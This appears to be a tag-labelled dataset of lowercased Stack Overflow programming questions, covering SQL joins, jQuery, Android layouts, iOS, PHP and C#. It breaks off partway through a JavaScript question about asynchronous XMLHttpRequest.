how to change background color on highlight effect   i hava a jquery mobile slider.   <pre><code>&lt;input name= slider-1  id= slider-1  data-highlight= true min= 0                                               max= 100  value= 50  type= range &gt; </code></pre>   i want to change the color of the highlight fill on the track of the slider  (by default its blue ). this is my code but its not work   <pre><code>$( #slider-1 ).effect( highlight   { color:  #ff00ff  }  3000); </code></pre>   thanks,jquery
mysql sum using left join on three tables  we have following tables...   <pre><code>users id  username password email  user_clubs id  user_id  club_name  sales id  club_id  amount  admin_fees  dnt </code></pre>   we are trying to get total sum of admin_fees as outstanding for user_id(for example 5)  and we tried following...   <pre><code>select u.id  count(c.id)  sum(s.admin_fees) as total_admin_fees  from users u left join user_clubs c on c.user_id = u.id left join sales s on s.club_id = c.id where u.id = 5 group by u.id; </code></pre>   which is only returning results for first row  which is incorrect  please help to resolve.    here is <a href= http://sqlfiddle.com/#!2/7a317f/3  rel= nofollow >sql fiddle</a> to test.    thanks,mysql
ios can i change the default pass code screen behavior or create a combination of buttons that is always listening  i want to know if it s possible to alter the behavior of the lock screen  lets say i have a normal user and a guest  so the normal user enters with the password and is the guest user wants to use the phone he has another password. all of this by code.    another is create a combination of buttons like volume + - and home and whe the iphone gets this combination does something.    any ideas,ios
can t set up the path to a dll on a server because not allowed to create folder called .netframework  i developed a program on a 64-bit machine using .net 4. it references the dlls shown in the picture below. i am trying to deploy the program to a 32-bit server. because the server is 32-bit  we need to create the directory structure leading to the dll (i can t change this structure  the same program is deployed on 64-bit machines so the path needs to stay consistent). but when i try to create a folder  ...\microsoft\framework \ .netframework  windows server says that  you must type a file name.  it won t allow me to create a folder with a period at the start. how can i make a path like this  how can i start a folder name with a period  the sa recently installed .net 4 on this server  but this path was not created.     <img src= https://i.stack.imgur.com/pxcmn.png  alt= enter image description here >    <strong>update</strong> maybe something went wrong with the install  when i go to look into the gac (c\windows\assembly) i don t see the .net 4 dlls in there. if i get the .net 4 dlls in there correctly then everything should  just work   correct      <img src= https://i.stack.imgur.com/ccszz.png  alt= enter image description here >,.net
sql not exists does not work  the following code does not seem to recognise the code in the brackets that after the not exists statement.   <pre><code>select * from department where not  exists  (select * from department     where upper(state) !=  vic ); </code></pre>   i have spent hours on this and can not seem to get it to work (can do using a different query but not the one above).,sql
nsnetservicebrowser did not find published service  on an iphone (the server)  i ve tried to publish a service and my code ran into the <code>nsnetservice</code> object s delegate method:   <pre><code>-(void)netservicedidpublish:(nsnetservice *)sender </code></pre>   so i believe that my service <code>@ _chatty._tcp. </code> has published successfully. then on another iphone (the client)  i use <code>nsnetservicebrowser</code> to find my service  but it did not run into the delegate method:   <pre><code>-(void)netservicebrowser:(nsnetservicebrowser *)netservicebrowser didfindservice:(nsnetservice *)netservice morecoming:(bool)moreservicescoming </code></pre>   i found some questions related to my case on this site  most of the answer remind to check the delegate object whether is out of scope or not. i m sure my delegate work well because it ran into another delegate method like:   <pre><code>-(void)netservicebrowserwillsearch:(nsnetservicebrowser *)anetservicebrowser </code></pre>   can anybody help me find out the reason     here are some parts of my code:    i init the service like that:   <pre><code>#define my_protocol @ _chatty._tcp.   self.myservice = [[nsnetservice alloc]                    initwithdomain:@   type:my_protocol                    name:@ thaith  port:self.port]; </code></pre>   the port is initialized with a given listeningsocket in the browser class:   <pre><code>nsnetservicebrowser* finder = [[nsnetservicebrowser alloc] init];  //i also retain the finder. finder.delegate = self;  [finder searchforservicesoftype:my_protocol indomain:@  ]; </code></pre>,objective-c
jstree loading tree menu with onclick event  this jstree jquery code uses ajax to load the jstree menu from file  root.json  when the page loads:   <pre><code>$( #ajax ).jstree({      core  : {          data  : {              url  :  root.json                datatype  :  json           }     }    }); </code></pre>   please would someone let me know how i can also get this to work using an onlick event,jquery
check if string contains only english alphabets   digits and symbols  i want to check for string that contains only english alphabets   digits and symbols.i tried below code but it works only when all the characters are different language.   <pre><code>if(strlen($string) != mb_strlen($string   utf-8 ))     {   echo  no english words  ;      }     else { echo  only english words ;     } </code></pre>   for example   <pre><code>1. hellow hi 123#!@#!@#()#@# -- true 2. ព្រាប សុវ ok yes #@# - false 3. this is good 123 - true 4. ព្រាប -- false </code></pre>   p.s : my question is not duplicate because other questions only cover alphabets and symbols   mine covers symbol too,php
angular js how to get data rom controller to html template   i am working in angularjs and trying to get data from api to my html template.when user will click on anchor tag then data will load from api to html template.    this is anchor tag html   <pre><code> &lt;a href= #/myconatct  ng-click= side.getmycontacts(); &gt;contacts&lt;/a&gt; </code></pre>   in app.js i have called mycontacts html and controller.   <pre><code>.state( mycontacts   {               url:  /mycontacts                views: {              topmenubar : { templateurl:  views/menu.html  controller:  menuctrl  }              maincontent : { templateurl:  views/mycontacts.html  controller:  contactctrl  }                                  }                            }) </code></pre>   in service app factroy i am getting data from api.   <pre><code>service.getmycontacts = function(){             var config = { headers:  {                      x-auth-token : $cookiestore.get( token )                 }             };             return $http.get(baseurl +  /allcontacts     config);         };  </code></pre>   then in sidebar controler i have called this function.   <pre><code>function sidectrl($scope  $state  dataservice  $cookiestore  $rootscope){         var side = this; side.mycontacts = [];         side.getmycontacts = getmycontacts;         function getmycontacts(){                dataservice.getmycontacts().success(function (data) {                 side.mycontacts = data.results;                  alert(data.results);             });         }  }        </code></pre>   i have also created a controller file.   <pre><code>app.controller( contactctrl   [ $scope   $http   $rootscope    $location    dataservice    $cookiestore   function ($scope $http  $rootscope  $location  dataservice  $cookiestore) {          $scope.getmycontacts = function(){             var config = { headers:  {                      x-auth-token : $cookiestore.get( token )                 }             };             return $scope.getcontactslist = $http.get(baseurl +  /allcontacts     config);        };  }]); </code></pre>   now i am trying to get the json response data in mycontacts.html file. but not loading html file it showing response data in alert.,angularjs
page not found error in header  the following basic code is working as expected.   <pre><code>&lt; php mysql_connect( localhost    user    user@123 ) or die(mysql_error()); echo  connected to mysql&lt;br /&gt; ;  &gt; </code></pre>   what all i need is that instead of mysql_error  page not found 404 error should be returned. i am looking for the shortest possible code since this is going to be used as load balancer check.    the following does not seem to work. i get a blank page.   <pre><code>mysql_connect( localhost    user    user@123 ) or die(header( http/1.0 404 not found )); </code></pre>,php
what s wrong with my app.config   i ve been tasked to extend our app s app.config by creating a <code>&lt;configsection&gt;</code> in which we d define a relatively complex object in xml. the config looks like this:   <pre class= lang-xml prettyprint-override ><code>&lt;configuration&gt;   &lt;appsettings&gt;     &lt;add key= minwaittime  value= 150  /&gt;     &lt;add key= maxwaittime  value= 900  /&gt;   &lt;/appsettings&gt;   &lt;configsections&gt;     &lt;section name= clientconfig  type= keepwarm.clientconfig  /&gt;   &lt;/configsections&gt;   &lt;clientconfig username= test user  password= test password &gt;     &lt;urls&gt;       &lt;add url= test1  /&gt;       &lt;add url= test2  /&gt;       &lt;add url= test3  /&gt;     &lt;/urls&gt;   &lt;/clientconfig&gt; &lt;/configuration&gt; </code></pre>   eventually  i ll have to be able to define multiple <code>&lt;clientconfig&gt;</code>  but i m already struggling getting only one to work.   <pre><code>namespace keepwarm {     public class clientconfig : configurationsection     {         [configurationproperty( username   isrequired = true)]         public string username         {             get { return (string)base[ username ]; }             set { base[ username ] = value; }         }          [configurationproperty( password   isrequired = true)]         public string password         {             get { return (string)base[ password ]; }             set { base[ password ] = value; }         }          [configurationproperty( urls   isrequired = true)]         public urlcollection urls         {             get { return (urlcollection)base[ urls ]; }             set { base[ urls ] = value; }         }     }      [configurationcollection(typeof(urlelement))]     public class urlcollection : configurationelementcollection     {         protected override configurationelement createnewelement()         {             return new urlelement();         }          protected override object getelementkey(configurationelement element)         {             return ((urlelement)element).url;         }     }      public class urlelement : configurationelement     {         [configurationproperty( url   iskey = true  isrequired = true)]         public string url         {             get { return (string)this[ url ]; }             set { base[ url ] = value; }         }     } } </code></pre>   yet whenever i try to access my settings  like this:   <pre><code>var minwaittime = int.parse(configurationmanager.appsettings[ minwaittime ]); </code></pre>   i get a <code>system.configuration.configurationerrorsexception</code>.    i ve been looking at various examples online  but nothing seems to help in my case. what am i doing wrong,c#
my ios app shows login screen after some inactivity  i have an ios app that works beautifully  save for a weird issue with the log-in screen.    the app logs in by sending credentials to the back end. on a successful log-in a token is returned to the app which then uses that token for all future requests. the token has a very long lifetime.    basically  i want the user to be logged in until he logs out explicitly.    the problem is that after some time of inactivity when i then go to the app  it has gone back to the login screen.    i find this very weird. as i mentioned the token is valid for a long time  and even so just switching to the app after some time of inactivity doesn t trigger any communitcation with the backend anyway.    so i am wondering if it has something to do with the view hiearchy  the login screen presents - on successful log in - a controller modally which then handles everything from then on (it is the paperfold menu controller: <a href= https://github.com/honcheng/paperfoldmenucontroller  rel= nofollow >https://github.com/honcheng/paperfoldmenucontroller</a>).     any ideas  i feel there is something quite simple i have overlooked...,ios
is it okay to add id/class to <link> tag   is it okay to do this    <pre><code>&lt;link rel= stylesheet  href= css/mobile/load.css  id= stylesheet_mobile  /&gt; </code></pre>   so i can use javascript to dynamically disable stylesheets,html
postdelayed function starting 4x faster than specified  i m trying to update the canvas every 100ms using postdelayed() and then invalidate() (which calls ondraw again)  but for some reason it will update by 30-50ms. i have debug messages printing out every time the onupdate() function is called and the timestamps are spaced apart by 30-50ms. why is it going so much faster than i want it to go  usually  you d expect functions run using a delay to be slower than what you specified.    <pre><code>private int frame_rate = 100;  protected void ondraw(canvas c) {     ondrawanimation(c);      // delay the next update by frame_rate milliseconds     _h.postdelayed(_game_loop  frame_rate); }  private runnable _game_loop = new runnable() {     @override     public void run() {         if (!_paused) {             onupdate(); // update locations/speed             invalidate(); // update visuals (ends up calling ondraw)         }     } }; </code></pre>,android
replace thread.sleep with something less intense  so i have learnt that my previous solution of having  thread.sleep  all over my c# console application (due to waiting web pages to do stuff that i always can t reach with normal webdriverwaits of selenium/chromedriver) is not a good solution  because it freezes the entire thread for the entire duration of the sleep period.    since i shouldn t do: system.threading.thread.sleep(250); then what should i do  i want it to be a separate statement  not a wrapper for stuff because then this gets really messy really fast. i have dozens of places where i have used thread.sleep. but obviously i can use an entire class to do it - if necessary  i just want to be able to call it like a normal method.    so far this is the best i ve found working:   <pre><code>class tools {     private static async task _sleep(int ms)     {         await task.delay(ms);     }      public static void sleep(int ms)     {         var task = _sleep(ms);         task.wait();     } } </code></pre>   should i replace that one with something else,c#
css color parameter escaping id  i have this html page with css: <a href= https://jsfiddle.net/0fk5uggt/  rel= nofollow noreferrer >https://jsfiddle.net/0fk5uggt/</a>    if i change this bit:   <pre><code>#artykuly_zawartosc a:link  a:visited {     text-decoration: line-through; } </code></pre>   into this:   <pre><code>#artykuly_zawartosc a:link  a:visited {     text-decoration: line-through;     color: #183087; } </code></pre>   the color paremeter overwrites the one i have in:   <pre><code>#artykuly_naglowek a:link  a:visited {} </code></pre>   i have been trying to figure this out for over an hour now  can somebody please tell me what i m doing wrong here,css
add onfling and onclick methods to imageview  i have an imageview that needs to change image on fling/slide and do something else when onclicks but i cant manage the get onclick to fire  the fling work fine thought    this is class for the listener   <pre><code>    public abstract class onflinggesturelistener implements ontouchlistener {         private context context;     private final gesturedetector gdt = new gesturedetector(this.context  new gesturelistener());        @override       public boolean ontouch(final view v  final motionevent event) {          gdt.ontouchevent(event);          return true;       }        private final class gesturelistener extends simpleongesturelistener {           private static final int swipe_min_distance = 120;          private static final int swipe_threshold_velocity = 200;           @override          public boolean onfling(motionevent e1  motionevent e2  float velocityx  float velocityy) {             if(e1.getx() - e2.getx() &gt; swipe_min_distance &amp;&amp; math.abs(velocityx) &gt; swipe_threshold_velocity) {                onrighttoleft();                return true;             } else if (e2.getx() - e1.getx() &gt; swipe_min_distance &amp;&amp; math.abs(velocityx) &gt; swipe_threshold_velocity) {                onlefttoright();                return true;             }             if(e1.gety() - e2.gety() &gt; swipe_min_distance &amp;&amp; math.abs(velocityy) &gt; swipe_threshold_velocity) {                onbottomtotop();                return true;             } else if (e2.gety() - e1.gety() &gt; swipe_min_distance &amp;&amp; math.abs(velocityy) &gt; swipe_threshold_velocity) {                ontoptobottom();                return true;             }             return false;          }       }          public boolean ondown(motionevent e){               return false;       }        public boolean onsingletapconfirmed(motionevent e) {           // ---call it directly---           click();           return true;       }        public abstract void onrighttoleft();        public abstract void onlefttoright();        public abstract void onbottomtotop();        public abstract void ontoptobottom();        public abstract void click();      } </code></pre>   then in my activy oncreate i do this   <pre><code>imageview btn = (imageview) findviewbyid(r.id.imagebutton1);                 btn.setontouchlistener(new onflinggesturelistener() {              @override             public void ontoptobottom() {                //your code here             }              @override             public void onrighttoleft() {                 nextcall();             }              @override             public void onlefttoright() {                                prevcall();             }              @override             public void onbottomtotop() {                //your code here             }              @override             public void click() {                 clickcode();              }          }); </code></pre>   any ideas what im doing wrong,android
{}  means array or  i m readding  iphone programming-the big nerd ranch guide   and there is a snippet like this:   <pre><code>static nsstring *randomnounlist[3] = {      @ bear        @ spork       @ mac  }; </code></pre>   so <code>randomnounlist</code> is now an array  but it is declared as <code>nsstring</code>. what do braces <code>{}</code> mean here,objective-c
how can i tell which mysql process created a temporary file and if the temporary file is still in use   we script commands (perl normally) for mysql (on linux) which some times create temporary files that get left behind.  i am trying to write a monitoring script that can remove the files that have been orphaned.  i need to know not only that the file is no longer in use  which i can do through os calls  but that mysql is completely finished with it.      can someone please tell me how i can interrogate mysql via perl or even just an sql command (i can figure out the scripting aspect) to determine if mysql is finished with a particular temporary table file or which process is currently using it.  thank you.,mysql
how to find view frame for iphone 5 and iphone 6 and iphone 6+  i have an application where i am adding one view with certain frame  programmatically  it is okay for iphone4 (320 * 480) but how can i calculate frame size for iphone5 and iphone6 resolutions with given autoresizingmask value   thanks in advance.,ios
in angular js  click event bound on a directive  does not make the directive interpolate certain parameter  i am learning directives and i am not sure why this directive code is not working:   <pre><code>define([      appconfig  ]  function() {      angular.module( appdirectives ).directive( workspacecanvas   function() {         return {             restrict:  a               scope: {}              template:  &lt;h1&gt;hello there  i am {{name}}&lt;/h1&gt;               link: function(scope  element  attrs) {                 scope.name =  dany ;                  var self = scope;                  element.bind( click   function() {                     console.log( clicked );                     self.name =  ted ;                     console.log(self.name)                 });              }           };     }); }); </code></pre>   when i add the directive to the dom  i can see the name <strong> dany </strong> being interpolated.    but when i click on the element  even if i <strong>capture the scope</strong> and assign the value <strong>ted</strong> to <strong>scope</strong> s <strong>name</strong> property  <strong>the change does not interpolate on the view</strong>.    any idea why,angularjs
wrong encoding when getting response from google s translate api   i am using google translate api to translate text from english to german. the code i am using is:   <pre><code>string url = string.format( http://www.google.com/translate_t hl=en&amp;ie=utf8&amp;text={0}&amp;langpair={1}   txtenglish.text  constants.languagepair);  webclient webclient = new webclient(); webclient.encoding = system.text.encoding.utf8;  webclient.downloadstringcompleted += new downloadstringcompletedeventhandler(texttranslation_downloadstringcompleted); webclient.downloadstringasync(new uri(url)); </code></pre>   on receiving the response in <code>e.result</code>....... original text: can you help me     translated german text on translator page: <code>können sie mir helfen</code>    result in <code>e.result</code>:  <code>k�nnen sie mir helfen</code>    so  plz help me know why this  �  special character is coming and how can i fix this issue,asp.net
how to fix <libxml/tree.h> file not found   i developed an simple app connecting by soap with wsdl by wsdl2objc. i use app in google  wsdl2objc  generating many files in couple type .h and .m.    when i add the folder contains those files to my project  i have added libxml2.dylib like:    <img src= https://i.stack.imgur.com/dcenf.png  alt= http://i.stack.imgur.com/dcenf.png >    and config in my project setting:    <img src= https://i.stack.imgur.com/nuyjj.png  alt= http://i.stack.imgur.com/nuyjj.png >    <img src= https://i.stack.imgur.com/mmyuy.png  alt= http://i.stack.imgur.com/mmyuy.png >    but i still have error  file not found!    <img src= https://i.stack.imgur.com/uw9rm.png  alt= http://i.stack.imgur.com/uw9rm.png >    how could i fix this error    not: i have config any thing in project target. how i do this  in my project  it has 2 targets: projectname and projectname.ipa.     this project inherit from old xcode version  now i make it in xcode version 4.3.3    thank in advance.,iphone
mysql left join very slow & mysql server down  i have the following 3 mysql innodb tables (shown as table_name:column_list):   <pre><code>meter_type: id  meter_type (primary key id) tag_type: id  meter_type_id (primary key id  foreign key meter_type_id(meter_type table)) tag: id  tag_type_id(primary key id  foreign key tag_type_id(tag_type table)) </code></pre>   i have tag: id i would like to find meter_type that have been level 1  level 2  or level 3.  my query is    <pre><code>select m.`meter_type`   from `tag` t             left join `tag_type` tt                on tt.`id` = t.`tag_type_id`             left join `meter_type` m                on m.`id` = tt.`meter_type_id`    where t.`id` =  10   </code></pre>   it is too very slow taking 4-4 minutes and this query makes mysql server down.    how to solve this problem... any other way to write this query with speed,mysql
can assigning smaller integer type to a larger integer type be unsafe   apart from the case where smaller type is signed and is &lt; 0 and larger is unsigned  are there any other cases where assigning smaller int type to a larger int type can be unsafe,c++
cascading equality checks over ands: system.guid  while looking at the difference between <code>guid.equals(anotherguid)</code> and <code>guid == anotherguid</code>  i decompiled the .net system.dll and saw something like (shortened and condensed:   <pre><code>if (g._a == this._a) {     if (g._b == this._b) {         ...         if (g._k == this._k) { return true; }     } else { return false; } } else { return false; } </code></pre>   this seems  um  odd. i would have expected code like:   <pre><code>if (g._a == this._a &amp;&amp; g._b == this._b &amp;&amp; ... </code></pre>   is there a reason they coded it the way they did  instead of the way i expected it   what  if anything  is the difference here,c#
how to show container view s viewcontroller(child viewcontroller ) on button click on parentviewcontroller  i had embedded a <code>childviewcontroller</code> inside my <code>parent viewcontroller(mainviewcontroller)</code>..but the problem is that it is already being seen on my <code>parentviewcontroller</code> on background but i want it on button click. can anyone tell me how to show <code>childviewcontroller</code> only on button click..,ios
adding a cryptocurency ticker to website  good evening  i m trying to understand to implement api s from a third-party to my website. right now i m looking at the documentation from <a href= https://docs.bitfinex.com/v1/reference#rest-public-ticker  rel= nofollow noreferrer >https://docs.bitfinex.com/v1/reference#rest-public-ticker</a> . i find it hard to understand how i can implement a single ticker (for example btc/usd) with javascript. can you guys give me some cues where to look at or how to understand api s like these. thank you.,javascript
how to make a linearlayout scrollable  after i start the activity i am unable to scroll down to see other buttons and options in the xml defined below.     does anyone know how to make this scrollable    <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout  xmlns:android= http://schemas.android.com/apk/res/android   android:layout_height= wrap_content   android:layout_width= fill_parent   android:background= #000044   android:isscrollcontainer= true   android:orientation= vertical &gt;  &lt;textview   android:id= @+id/title    android:text= @string/title    android:layout_width= wrap_content    android:layout_height= wrap_content    android:textcolor= #ffffff /&gt;  &lt;edittext   android:id= @+id/edittitle    android:text=     android:layout_width= fill_parent    android:layout_height= wrap_content /&gt;  &lt;textview   android:id= @+id/description    android:text= @string/description    android:layout_width= wrap_content    android:layout_height= wrap_content    android:textcolor= #ffffff /&gt;  &lt;edittext   android:id= @+id/editdescription    android:text=     android:layout_width= fill_parent    android:layout_height= wrap_content /&gt;  &lt;textview   android:id= @+id/location    android:text= @string/location    android:layout_width= wrap_content    android:layout_height= wrap_content    android:textcolor= #ffffff /&gt;  &lt;edittext   android:id= @+id/editlocation    android:text=     android:layout_width= fill_parent    android:layout_height= wrap_content /&gt;  &lt;textview   android:id= @+id/starttime    android:text= @string/starttime    android:layout_width= wrap_content    android:layout_height= wrap_content    android:textcolor= #ffffff /&gt;  &lt;datepicker    android:id= @+id/datepicker01     android:layout_width= wrap_content     android:layout_height= wrap_content  /&gt;  &lt;timepicker    android:id= @+id/timepicker01     android:layout_width= wrap_content     android:layout_height= wrap_content /&gt;  &lt;textview   android:id= @+id/endtime    android:text= @string/endtime    android:layout_width= wrap_content    android:layout_height= wrap_content    android:textcolor= #ffffff /&gt;  &lt;datepicker    android:id= @+id/datepicker02     android:layout_width= wrap_content     android:layout_height= wrap_content  /&gt;  &lt;timepicker    android:id= @+id/timepicker02     android:layout_width= wrap_content     android:layout_height= wrap_content /&gt;  &lt;button   android:id= @+id/buttoncreate    android:text= create    android:layout_width= wrap_content    android:layout_height= wrap_content /&gt; &lt;/linearlayout&gt; </code></pre>   my class code is   <pre><code>package com.example.blah;  import android.app.activity; import android.os.bundle;  public class example extends activity {     /** called when the activity is first created. */     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.main);     } } </code></pre>   the output is <a href= http://img265.imageshack.us/img265/7601/linearlayout.jpg  rel= noreferrer >http://img265.imageshack.us/img265/7601/linearlayout.jpg</a>,android
drop down list of values  selected from result set to use as filter in ruby in rails  i have a search results form which returns a list of @documents of class document.  a document has a one type.  a type has many documents.    i have a drop down list filter on the search results to enable the @document list to be filtered based on the type  but at the moment  the list contains all the possible types.  i only want the type to appear in the drop down if there is at least one document within the list of that type.    (there is a second drop down for status  same problem applies)    this is what i have so far  but it s returning all types.   <pre><code>&lt;%= form_for :document_filter  :url =&gt; search_results_home_index_path  :html =&gt; {:class=&gt; form-inline } do |f| %&gt;   &lt;%= f.collection_select :document_type_id   documenttype.alphabetically   :id :name {:prompt=&gt; select document type } %&gt;   &lt;%= f.collection_select :document_status   status.for_filter   :id :name {:prompt=&gt; select document status }  %&gt;   &lt;%= f.submit  go  %&gt; &lt;%end%&gt; </code></pre>   does rails have an easy way to do this,ruby-on-rails
how to get the song id  album id and artist id from the currently playing song from the google play music  i am working on my app in which i want to get the details of the songs playing on any media application. i am not getting the data of the google play music apps currently playing songs details like song id  artist id  album id.    i have tried below code:   <pre><code>intentfilter intentfilter=new intentfilter();          intentfilter.addaction( com.android.music.metachanged );         intentfilter.addaction( com.android.music.playstatechanged );         intentfilter.addaction( com.android.music.playbackcomplete );         intentfilter.addaction( com.android.music.queuechanged );         intentfilter.addaction( com.samsung.sec.android.musicplayer.metachanged );         intentfilter.addaction( com.spotify.music.playbackstatechanged );         intentfilter.addaction( com.spotify.music.metadatachanged );         intentfilter.addaction( com.apple.android.music.metachanged );         intentfilter.addaction( com.apple.android.music.playstatechanged );         intentfilter.addaction( com.rdio.android.metachanged );         intentfilter.addaction( com.rdio.android.playstatechanged );          //register the intentfilters into the reciever         registerreceiver(mreceiver intentfilter); </code></pre>   here is my reciever:   <pre><code>    broadcastreceiver mreceiver=new broadcastreceiver() {         @override         public void onreceive(context context  final intent intent) {             string action = intent.getaction();             //bundle bundle=intent.getextras();              string cmd = intent.getstringextra( command );             log.v( tag    action +   /   + cmd);              //not getting the song id in the google play music and album_id and artist id in both             final string song_id=string.valueof(intent.getlongextra( id   0));             final string album_id= string.valueof(intent.getlongextra( album_id  0));             final string artist_id= string.valueof(intent.getlongextra(mediastore.audio.artists._id 0));             final string title=intent.getstringextra( track );             final string playlist_id= string.valueof(intent.getlongextra(mediastore.audio.playlists._id 0));             final string playlist_name=intent.getstringextra(mediastore.audio.playlists.name);             final string artist=intent.getstringextra(mediastore.audio.audiocolumns.artist);             final string album=intent.getstringextra(mediastore.audio.audiocolumns.album);         }     }; </code></pre>   getting the songs details in the default player but not in google play music.,android
how can i display battery percentage for ios 7   i need help. i m trying to make a battery monitor and i can t figure out how too. i m not sure how any of uidevice works...,objective-c
input vs .net texbox: input clears on enter pressed  asp:textbox does not  i use the jquery datepicker. i have the following input in the updatepanel:   <pre><code>  &lt;input id= datemask  type= text  /&gt; </code></pre>   and js code:   <pre><code>  $( .datepicker ).datepicker({                     changemonth: true                      changeyear: true                 });    $(document).ready(function () {      setd();   }); </code></pre>   using jquery:    <pre><code>  &lt;script src= /scripts/jquery-1.9.1.js  type= text/javascript &gt;&lt;/script&gt;   &lt;script src= /scripts/jquery-ui.js  type= text/javascript &gt;&lt;/script&gt; </code></pre>   when i press enter on my page it clears my input  and i do not post anything to the server. i ve managed to solve the problem by writing <code>&lt;asp:textbox&gt;</code> instead of <code>&lt;input&gt;</code>  but why is it so     <a href= https://stackoverflow.com/questions/14447821/pressing-enter-with-multiple-input-boxes >and found the topic here</a>    but once again why does it work this way,asp.net
how do i convert english words to local language using c#  <strong>can we translate the english words in to local or regional language in standalone windows application </strong> please let me know if any one know about it....thanks,.net
php script to read and save web page contents not working on some sites  i have a very simple script that works perfectly on most sites but not the main site i want it to work with - the code below accesses a sample site perfectly.  however when i use it on a site i want to access <a href= http://www.livescore.com  rel= nofollow >http://www.livescore.com</a> i get an error    this works.   <pre><code>&lt; php $url =  http://www.cambodia.me.uk ; $page = file_get_contents($url); $outfile =  contents.html ; file_put_contents($outfile  $page);  &gt; </code></pre>   this does not work.....   <pre><code>&lt; php $url =  http://www.livescore.com ; $page = file_get_contents($url); $outfile =  contents.html ; file_put_contents($outfile  $page);  &gt; </code></pre>   and gives the following error   <blockquote>    warning: file_get_contents(<a href= http://www.livescore.com  rel= nofollow >http://www.livescore.com</a>)   [function.file-get-contents]: failed to open stream: http request   failed! http/1.0 404 not found in c:\program files   (x86)\easyphp-5.3.8.1\www\livescore\attempt-1-read-page.php on line 3  </blockquote>   thanks for any assistance,php
calculate number of perfect squares in a given big range in c  i already have the code where i calculate the number of perfect squares between 1 and a max range:   <pre><code>int perfectcounter = 0; int i = 1; int maxrange;  scanf( %d   &amp;maxrange);  while (i &lt;= maxrange) {    float tempsquare = sqrt(i);    int integerpart = tempsquare;     if (tempsquare == integerpart)       perfectcounter++; } </code></pre>   problem is  that max range must be between 1 and 10^1000  so i can t store that maxrange on a int  long or long double. i can t think on a solution for that  without using external libraries that handle very big numbers.,c
don t group if value is empty  i ve a table with values like:   <pre><code>row   item_id   device_token 1     1         1234 2     2         2345 3     1          4     2          5     1          6     1         1234 </code></pre>   i would like to select all values  but group them by item_id and device_token.   <blockquote>    select item_id  device_token from hits group by item_id  device_token  </blockquote>   grouping the above data would results in 4 rows  as row 1 6 and 3 5 would be combined. can i make a query which does not group the rows where the device_token is empty/null (row 3 and 5),mysql
remove .jpg extension from path  what is the less expensive solution to remove  .jpg  extension from path  for example   <pre><code>lib/img/img.jpg  &gt; lib/img/img </code></pre>   i will use it in loop 6 times  thats why i need a lightweight solution.,php
why i couldn t change the value of picturebox1.location.x directly   i want to change the value of picturebox1.location. and the result really confuses me!   <pre><code>point player;     player = picturebox1.location;     player.x += 10; //it works     picturebox1.location.x += 10;//it doesn t work!! why       </code></pre>   so i try this one :   <pre><code>picturebox1.location = player // it works       </code></pre>   could anyone tell me why  i only learnt c# for 1 week with <em>head first c#</em>  and i cannot find the answer through the internet or the book.    sorry  i didn t make my question clarified. i cannot build   <pre><code>picturebox1.location.x += 10    . </code></pre>   there is an error: cannot modify the return value of  system.windows.forms.control.location  because it is not a variable    i want to know the difference between player.x and picturebox1.location.x,c#
why brack an rval  please see the following snippet of c code:   <pre><code>pm_raise(retexn  exn)         do         {             retexn = (exn);             gvmglobal.errfileid = __file_id__;             gvmglobal.errlinenum = (uint16_t)__line__;         } while (0) </code></pre>   on the 4th line  why is <code>exn</code> surrounded by brackets     <strong>edit</strong> (in reply to <code>intermediatehacker</code>) here is the original snippet of code:   <pre><code>#if __debug__ #define pm_raise(retexn  exn) \         do \         { \             retexn = (exn); \             gvmglobal.errfileid = __file_id__; \             gvmglobal.errlinenum = (uint16_t)__line__; \         } while (0) #else #define pm_raise(retexn  exn) \         retexn = (exn) #endif </code></pre>,c
make octal numbers into real number in c++  i want 010 + 10 = 20 in c++. i know that 010 is a octal number   which is equal to 8  but is there anyway to show that inputing 010 + 10 = 20 (without having to get rid of the 0 in front of 10.)    i need to put the 0 in front of the 10  there got to be a way to show it as a real number.,c++
how to create a custom emoji keyboard in ios   i want to know how to create custom emoji keyboard in ios. i have tried to create it using stickerpack and imessages.and both were working properly in ios simulator.but when i run it on my device(iphone5s) camera icon and grid is greyed out.ie i couldn t get click on both the icons.could anyone help me to solve this issue.                            thanks in advance,ios
how to run jar file with -d and -classpath options in linux  i trying to run a jar file with the -d option and multiple jar files in the classpath. how can i do that in linux     here is my command.   <pre><code>java -cp -dcom.sun.management.config.file=/usr/local/monitor/jmx-management.properties .:/usr/local/monitor/monitor.jar:/usr/lib/oracle/11.2/client64/lib/ojdbc6.jar com.mypackage.monitor  </code></pre>   when i run this i m getting an error   could not find or load main class .:.usr.local.monitor.monitor.jar:.usr.lib.oracle.11.2.client64.lib.ojdbc6.jar,java
group by solution  i ve got a query that i m trying to run and not sure how to get around the not a group by issue. i need to calculate the total number of orders for a customer  but only show the customers who have ordered in march.   <pre><code>select customer#  firstname ||      || lastname  customer name   orderdate   count(order#) from orders join customers using (customer#) where orderdate like  %mar%  group by customer#; </code></pre>   any help would be appreciated.,sql
add line break to ::after or ::before pseudo-element content  i do not have access to the html or php for a page and can only edit via css. i ve been doing modifications on a site and adding text via the <code>::after</code> or <code>::before</code> pseudo-elements and have found that escape unicode should be used for things such as a space before or after the added content.    how do i add multiple lines in the <code>content</code> property     in example the html break line element is <em>only to visualize</em> what i would like to achieve:   <pre class= lang-css prettyprint-override ><code>#headeragentinfodetailsphone::after {  content:  office: xxxxx &lt;br /&gt; mobile: yyyyy  ; } </code></pre>,css
how to wait for nested function to execute before continuing   i have a function that is supposed to read a list of coordinates from a file and then return them.    here is my code:   <pre><code>function loadcoordinates(){     var coordinates = new object();      var txtfile = new xmlhttprequest();     txtfile.open( get    coordinates.txt   true);     txtfile.send();     txtfile.onreadystatechange = function(){         if(this.readystate === 4 &amp;&amp; this.status == 200){                 var alltext = txtfile.responsetext;             coordinates = txtfile.responsetext.split( \n );             alert(coordinates.length +   loadcoordinates );         }     };      alert(coordinates +   (return) );     return coordinates; };  function initmap(){         var map = new google.maps.map(document.getelementbyid( themap )  {         zoom: 2          center:  new google.maps.latlng(0  0)     });      var marker  i;     var coordinates = loadcoordinates();      alert(coordinates.length +   initmap );      for (i = 0; i &lt; coordinates.length; i++){             marker = new google.maps.marker({             position: coordinates[i]              map: map         });     } } </code></pre>   what is happening now is it will execute in this order:   <ol> <li><code>alert(coordinates +   (return) );</code> from <strong>loadcoordinates()</strong> (this prints  [object object] (return) </li> <li><code>alert(coordinates.length +   initmap );</code> from <strong>initmap()</strong> (this prints  undefined initmap )</li> <li>finally <code>alert(coordinates.length +   loadcoordinates );</code> (this prints 